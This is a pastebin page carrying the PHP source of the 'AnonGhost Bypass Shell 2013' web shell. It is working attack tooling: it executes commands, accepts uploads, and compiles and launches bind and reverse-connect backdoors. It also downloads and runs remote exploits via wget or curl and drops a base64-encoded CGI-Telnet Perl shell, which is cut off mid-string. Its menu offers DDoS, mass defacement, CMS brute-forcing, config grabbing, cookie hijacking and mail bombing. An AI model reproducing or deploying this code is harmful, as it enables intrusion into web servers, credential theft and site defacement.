AnonGhost Bypass Shell 2013

From Virusa Worm & Mauritania Att, 3 Years ago, written in Plain Text, viewed 1'844 times.
URL http://paste.security-portal.cz/view/2f920175 Embed
Download Paste or View Raw
  1. <?php
  2.      
  3.     error_reporting(0);
  4.     $password = "86e10d39adfd58801398da1aae3c847f";
  5.     $cookiename = "virusa";
  6.    
  7.     if((isset($_POST['mlebu'])) or ($_POST['pass'])){
  8.         if(strlen($password) == 32){
  9.             $_POST['pass'] = md5($_POST['pass']);
  10.         }
  11.        
  12.         if($_POST['pass'] == $password){
  13.             setcookie($cookiename, $_POST['pass'], time()+3600);
  14.         }
  15.        
  16.         hezni();
  17.     }
  18.    
  19.     if(!empty($password) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $password)){mlebu();die();}
  20.     echo '<center><a href="?ag"><img src="http://i952.photobucket.com/albums/ae1/virusaworm/ag/agshe00_zps4061a864.png"></center></a>';
  21.     $bencong = '<center>'.php_uname("a").'<br><br><ul id="menu"><li><a href="?ag">Home</a></li> <li><a href="?back">Connect</a></li> <li><a href="?agzh">Mirror</a></li> <li><a href="?findwr">Find Dir</a></li> <li><a href="?bbase">Base_Dir</a></li> <li><a href="?ddose">DDos</a></li> <li><a href="?agsky">Skype</a></li> <li><a href="?hps">Logs</a></li> <li><a href="?blhost">BlueHost</a></li> <li><a href="?hostg">HostGator</a></li> <li><a href="?agovh">OVH</a></li> <li><a href="?apngi">Apache</a></li> <li><a href="?agcp">CPanel</a></li> <li><a href="?agdom">Domains</a></li> <li><a href="?cmsde">CMS Detect</a></li> <li><a href="?cuki">Hijack</a></li> <li><a href="?dbne">MySql</a></li> <li><a href="?Done">Info</a></li> <li><a href="?tule">Hide</a></li> <li><a href="?kill">Kill</a></li></ul><ul></ul><ul id="menu"><li><a href="#">IIS 7.5</a><ul class="sub-menu"><li><a href="?aghtt">IIS httpd</a></li><li><a href="?porte">Port Exploit</a></li></ul></li> <li><a href="?string">Script Encode</a></li><li><a href="#">vBulletin</a><ul class="sub-menu"><li><a href="?shellinj">Shell Injecter</a></li><li><a href="?vbul">vBulletin BruteForce</a></li><li><a href="?vbgen">VBulletin Pass Generator</a></li><li><a href="?vbcha">VBulletin Index Changer</a></li></ul></li> <li><a href="#">CGI Telnet</a><ul class="sub-menu"><li><a href="?cgi">CGI Telnet v1</a></li><li><a href="?cgi14">CGI Telnet v1.4</a></li></ul></li> <li><a href="#">Symlink</a><ul class="sub-menu"><li><a href="?bforb">Bypass Forbid</a></li><li><a href="?sym">Symlink Server</a></li><li><a href="?bypa">Bypass 2013</a></li><li><a href="?suphp">suPHP Symlink</a></li><li><a href="?suexec">suEXEC Bypass</a></li><li><a href="?config">Config Grabber</a></li><li><a href="?sima">Symlink Manual</a></li><li><a href="?ensym">Enable Symlink</a></li><li><a href="?agrit">Source File Bypass</a></li><li><a href="?agritf">Read File Bypass</a></li></ul></li> <li><a href="#">LiteSpeed</a><ul class="sub-menu"><li><a href="?aglts">Litespeed Bypass</a></li><li><a href="?agls">Litespeed command</a></li></ul></li> <li><a href="#">Command</a><ul class="sub-menu"><li><a href="?cm">Command Shell</a></li><li><a href="?cmby">Command Bypass</a></li></ul></li> <li><a href="#">Safe Mode</a><ul class="sub-menu"><li><a href="?obd">Open Base_Dir Bypass</a></li><li><a href="?cloudf">CloudFare Bypass</a></li><li><a href="?modse">Bypass Mod_Sec</a></li><li><a href="?mni">Method Not implemented</a></li><li><a href="?filter">Filter Users</a></li><li><a href="?agbfu">Bypass Functions</a></li><li><a href="?agsm">Bypass SafeMode</a></li><li><a href="?agbpe">Bypass Perl Security</a></li><li><a href="?agpyt">Bypass Python Security</a></li><li><a href="?agup">Uploader Bypass</a></li><li><a href="?agdon">Download Remote</a></li></ul></li> <li><a href="#">Brute Force</a><ul class="sub-menu"><li><a href="?agbf">B- Force Tools</a></li><li><a href="?agmyp">B- Force PhpMyAdmin</a><li><a href="?agftp">B- Force FTP</a></li></ul></li> <li><a href="#">Deface</a><ul class="sub-menu"><li><a href="?massdef">Mass Deface</a></li><li><a href="?mass">WP/JM Deface</a></li><li><a href="?cpdef">Cpanel Deface</a></li></ul></li>  <li><a href="#">WHMCS</a><ul class="sub-menu"><li><a href="?whkill">Whmcs Kill</a></li><li><a href="?whex">Whmcs Auto Exp</a></li><li><a href="?whme">WHMCS Conf</a></li></ul></li> <li><a href="#">Joomla Exp</a><ul class="sub-menu"><li><a href="?0jo">Joomla com_inst</a></li><li><a href="?jpc">Joomla Cracker</a></li><li><a href="?joic">Joomla Index Changer</a></li></ul></li> <li><a href="#">Wordpress</a><ul class="sub-menu"><li><a href="?wpne">Wordpress Brute</a></li><li><a href="?getuser">Get Username</a></li><li><a href="?wrdkiller">Wordpress Kill</a></li><li><a href="?wpdisp">Wordpress Disclosure Path Vuln</a></li></ul></li> <li><a href="#">Mailer</a><ul class="sub-menu"><li><a href="?agma">Mailer</a></li><li><a href="?agmbom">Mail Boomb</a></li><li><a href="?agmc">Mail Crack</a></li><li><a href="?exmail">Extract Emails</a></li></ul></li> <li><a href="#">MD5 En/Dec</a><ul class="sub-menu"><li><a href="?mdec">MD5 Dec</a></li><li><a href="?mden">MD5 Gen</a></li></ul></li></ul>';
  22.     function mlebu() { $uname = php_uname("a"); echo "<center>".$uname."<br><br><br><img src='http://i952.photobucket.com/albums/ae1/virusaworm/ag/agne_zps5e42fcf5.png'><br><br> <form method='POST'><input type='password' maxlength='32' name='pass'>&nbsp;&nbsp;<input type='submit' value='Login' name='login'></form></center><style>*{font-family:Courier New;} div{align:center;-moz-border-radius:3px;border-radius:3px;border:2px dashed #58FAF4;margin:4px 0 6px;padding:8px 6px;} body{background:#101010;background-image: url(http://i952.photobucket.com/albums/ae1/virusaworm/ag/fond2_zpsd035f58f.jpg);font-size:14px;color:#58FAF4;font-weight:400;} a{text-decoration:none;} a:hover{color:#999999;} </style>";} function hezni() {header("Location: ".basename(__FILE__)."?ag");} function exe($cmd){ if(function_exists('system')) {@ob_start();@system($cmd); $buff = @ob_get_contents(); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('exec')) {@exec($cmd,$results); $buff = ""; foreach($results as $result){ $buff .= $result; } return $buff;} elseif(function_exists('passthru')){@ob_start();@passthru($cmd); $buff = @ob_get_contents();@ob_end_clean(); return $buff;} elseif(function_exists('shell_exec')){ $buff = @shell_exec($cmd); return $buff;}} function which($pr){ $path = exe("which $pr"); if(!empty($path)) {return trim($path);} else {return trim($pr);}} if(@ini_get('disable_functions')) $kadangan = @ini_get('disable_functions'); else $kadangan = "None :v"; if(isset($_GET['ag'])) { echo $bencong.'<img src="http://i952.photobucket.com/albums/ae1/virusaworm/ag/agne_zps5e42fcf5.png">'; echo '<br><br><center><br><br><form method="post" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" name="upload" value="Submit"></form>'; if($_POST['upload']) { $o = copy($_FILES['file']['tmp_name'],$_FILES['file']['name']); if($o) echo "<br><br>upload sukses.. <img src='http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif'>"; else echo "<br><br>aseeeemmm ? , ora iso upload <img src='http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/68.gif'> "; } echo '</center>';} elseif(isset($_GET['back'])){echo $bencong."<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Back connect</b></p>"; if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) { $port = trim($_POST['port']); $passwrd = trim($_POST['bind_pass']); tulis("bdc.c",$port_bind_bd_c); exe("gcc -o bdc bdc.c"); exe("chmod 777 bdc"); @unlink("bdc.c"); exe("./bdc ".$port." ".$passwrd." &"); $scan = exe("ps aux"); if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; } else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; } }
  23.      
  24.       elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) { $port = trim($_POST['port']); $passwrd = trim($_POST['bind_pass']); tulis("bdp",$port_bind_bd_pl); exe("chmod 777 bdp"); $p2=which("perl"); exe($p2." bdp ".$port." &"); $scan = exe("ps aux"); if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; } else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; } }
  25.      
  26.       elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) { $ip = trim($_POST['ip']); $port = trim($_POST['backport']); tulis("bcc.c",$back_connect_c); exe("gcc -o bcc bcc.c"); exe("chmod 777 bcc"); @unlink("bcc.c"); exe("./bcc ".$ip." ".$port." &"); $msg = "Now script try connect to ".$ip." port ".$port." ..."; }
  27.      
  28.       elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) { $ip = trim($_POST['ip']); $port = trim($_POST['backport']); tulis("bcp",$back_connect); exe("chmod +x bcp"); $p2=which("perl"); exe($p2." bcp ".$ip." ".$port." &"); $msg = "Now script try connect to ".$ip." port ".$port." ..."; }
  29.      
  30.       elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) { $pilihan = trim($_POST['pilihan']); $wurl = trim($_POST['wurl']); $namafile = download($pilihan,$wurl); if(is_file($namafile)) { $msg = exe($wcmd); } else $msg = "error: file not found $namafile"; } ?> <table class="tabnet"> <tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr> <tr> <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit"> <tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form> </table> </td> <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit"> <tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form> </table> </td> <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit"> <tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr> <tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form> </table> </td> </tr> </table> <center><?php echo $msg; ?></center>
  31.         <?php }
  32.            
  33.     elseif(isset($_GET['cgi'])) { mkdir('agcgitel', 0755); chdir('agcgitel'); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!"); $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  34.      
  35.     AddType application/x-httpd-cgi .cin
  36.      
  37.     AddHandler cgi-script .cin
  38.     AddHandler cgi-script .cin"; fwrite ( $dosya , $metin ) ; fclose ($dosya); $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0